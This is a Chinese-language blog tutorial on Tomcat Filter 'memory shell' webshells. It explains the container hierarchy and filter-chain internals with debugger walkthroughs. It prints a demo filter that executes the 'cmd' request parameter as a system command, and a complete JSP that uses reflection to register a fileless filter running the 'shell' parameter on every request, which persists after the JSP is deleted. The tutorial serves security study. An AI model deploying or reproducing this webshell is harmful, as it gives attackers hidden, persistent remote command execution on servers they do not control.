前言

前两天去做渗透测试啦,所以关于Java的内容没有怎么学,打了两天,后续打的比较烦了,就继续学习Java,今天的内容是Java的Filter内存马

前置知识

Filter我们称之为过滤器,是JAVA中最常见的技术之一,一般是用来处理静态Web资源,访问权限控制,记录日志等附加功能,当Tomcat收到请求后,会依次经过Listener->Filter->Servlet,在学习内存马的知识前,先来简单了解一下Tomcat处理请求的逻辑。主要看的是Wrapper中那部分,请求到达Wrapper容器时,会去先调用FilterChain,FilterChain看名字也很容易理解,就是几个Filter组成的一条链,然后再把请求发送给Servlet,这里的话他既然去调用了FilterChain,那我们是否可以通过写入一个恶意的Filter,然后调用这个恶意的Filter来触发恶意方法。因此,我们后续的任务就是要搞明白如何去注册一个恶意的Filter。
image-20220411174112206
通常情况下,注册一个Filter有三种方法,这里只讨论下面的第一种

  1. 使用 ServletContext 的 addFilter/createFilter 方法注册;
  2. 使用 ServletContextListener 的 contextInitialized 方法在服务器启动时注册
  3. 使用 ServletContainerInitializer 的 onStartup 方法在初始化时注册

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):

Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。

Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。

Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。

Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。

正文

为了让没有学过Java Web的师傅们更容易理解, 我这里就简单写了一个Demo
TestFilter.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.servlet.*;  
import java.io.IOException;

public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("cmd"));
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
System.out.println("这是TestFilter的doFilter方法");
}

@Override
public void destroy() {

}
}

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE web-app PUBLIC  
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter> <filter-name>TestFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter> <filter-mapping> <filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>

然后我们运行,直接GET:?cmd=calc,可以成功弹出计算器
image-20220411174118821
这就是无文件的WebShell,恶意代码存放在Filter里,每次去对服务器发起请求会调用到Filter里的内容,实现无文件Webshell,通过上面的Demo,师傅们应该会对Filter的作用有个比较好的了解吧,如果没有也没关系,多看几遍就懂了。我们如果在正常情况下,如果想要让目标执行这个Filter,肯定需要构造恶意的Filter,并且在web.xml里对他进行配置,否则并不会执行这个Filter,但是我们手动去修改他的web.xml文件并不现实,因此现在需要做的就是想办法如何去构造这个恶意的Filter并且不在web.xml里配置但是要达到配置的效果。因此我们需要通过一步步调试去研究代码中是如何获取想要调用的Filter的信息。

先在我们上面的代码的filterChain.doFilter(servletRequest,servletResponse);打上断点,然后开始调试

image-20220411174123050

我们往前寻找,跟进ApplicationFilterChaininternalDoFilter方法,此时初始化了一个ApplicationFilterConfig类,其中的内容如下图。

image-20220411174126601

并且此时的ApplicationFilterConfig类中的filters属性中包含了我们的filter信息,第二个filter是tomcat自带的filter

image-20220411174129669

具体代码实现如下,先初始化了一个filterConfig,并且使用自身的filter对filterConfig进行了赋值,在上面说到了filters是包含了我们的filter信息,然后通过filterConfiggetFilter方法获得到了对应的filter,并且直接调用了filter的doFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

大概的流程有了:ApplicationFilterChain中包含了所有的filter信息,然后给到不同的filterConfig,通过filterConfig获取到对应的Filter,然后执行Filter的doFilter方法,因此我们就要去研究ApplicationFilterChain的filter信息是从哪里获取到的,只要从找到获取filter信息的位置,我们就可以达到我们的目标了

image-20220411174133717

继续往回走,来到StandardContextValve#invoke方法,由于源代码太长,这里就不放出了,只给出关键代码

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

在如上位置调用ApplicationFilterFactory.createFilterChain获得了一个filterChain,接着就调用了filterChain.doFilter,其中并没有对filterChain进行赋值的操作,那就只有一种可能,说明在上一步ApplicationFilterFactory.createFilterChain的时候就已经把filter的信息填入了,继续跟进ApplicationFilterFactory.createFilterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null)
return null;

// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0))
return (filterChain);

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMaps[i], servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

首先在filterChain = (ApplicationFilterChain) req.getFilterChain();处通过getFilterChain获得req的filterChain,如果为null,则手动设置一个

image-20220411174139107

然后是设置了一些filterChain的信息,继续往下一行是FilterMap filterMaps[] = context.findFilterMaps();,从context中获取到我们的FilterMaps,FilterMaps的具体内容如下,他包含了filterName和urlPartternimage-20220411174143259

继续往下,是一个for循环,这里为了方便观看重新放一下源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

遍历了filterMaps,通过context.findFilterConfig(filterMaps[i].getFilterName());从filterMaps数组中找到对应的ApplicationFilterConfig然后给到filterConfig,并且通过filterChain.addFilter(filterConfig);添加到filterChain中。上面提到,我们是从context中获取到我们的FilterMaps,这里也师傅们也可以不用进行深入研究,具体可以看下面的调试结果,context中存有我们的filterConfigs,filterDefs和filterMaps

image-20220411174148412

  • FilterConfigs:存放filteConfig的数组,filterConfig中存放着一些Filter对象信息和filterDef
  • FilterDefs:存放FilterDef的数组,FilterDef存放着过滤器名,实例等信息
  • FilterMaps:存放着FilterMap的数组,FilterMap主要存放FilterName和对应的URLPattern

因此我们只需要通过反射去构造filterDef,filterMap,filterConfig对象,然后把filterConfig加到filterConfigs中即可完成内存马的注入,除此之外,我们还必须要反射创建三个对象,分别是servletContext,applicationContext,standardContext

image-20220411174157754

把index.jsp删除后,依旧可以执行

image-20220411174200972

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){


Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("注入初始化");
}


@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("过滤中。。。");
}


@Override
public void destroy() {
// Filter.super.destroy();
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);


//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);


//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("successfully");
}
%>

补充

关于如上jsp内存马,可能有些师傅不太理解反射获取servletContext,applicationContext,standardContext的过程,其实通过request.getServletContext()获取的ServletContext其实是ApplicationContextFacade对象,他对applicationContext进行了一个封装,ApplicationContextFacade中的context属性就是applicationContext对象,所以上文是通过ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);来获取applicationContext ,ApplicationContext实例中又包含了StandardContext实例,所以是通过StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);来获取standardContext ,各位师傅参考下图就明白了

image-20220411174206924

参考

https://javasec.org/javaweb/MemoryShell/
https://xz.aliyun.com/t/10888

JSP Webshell那些事 – 攻击篇(下)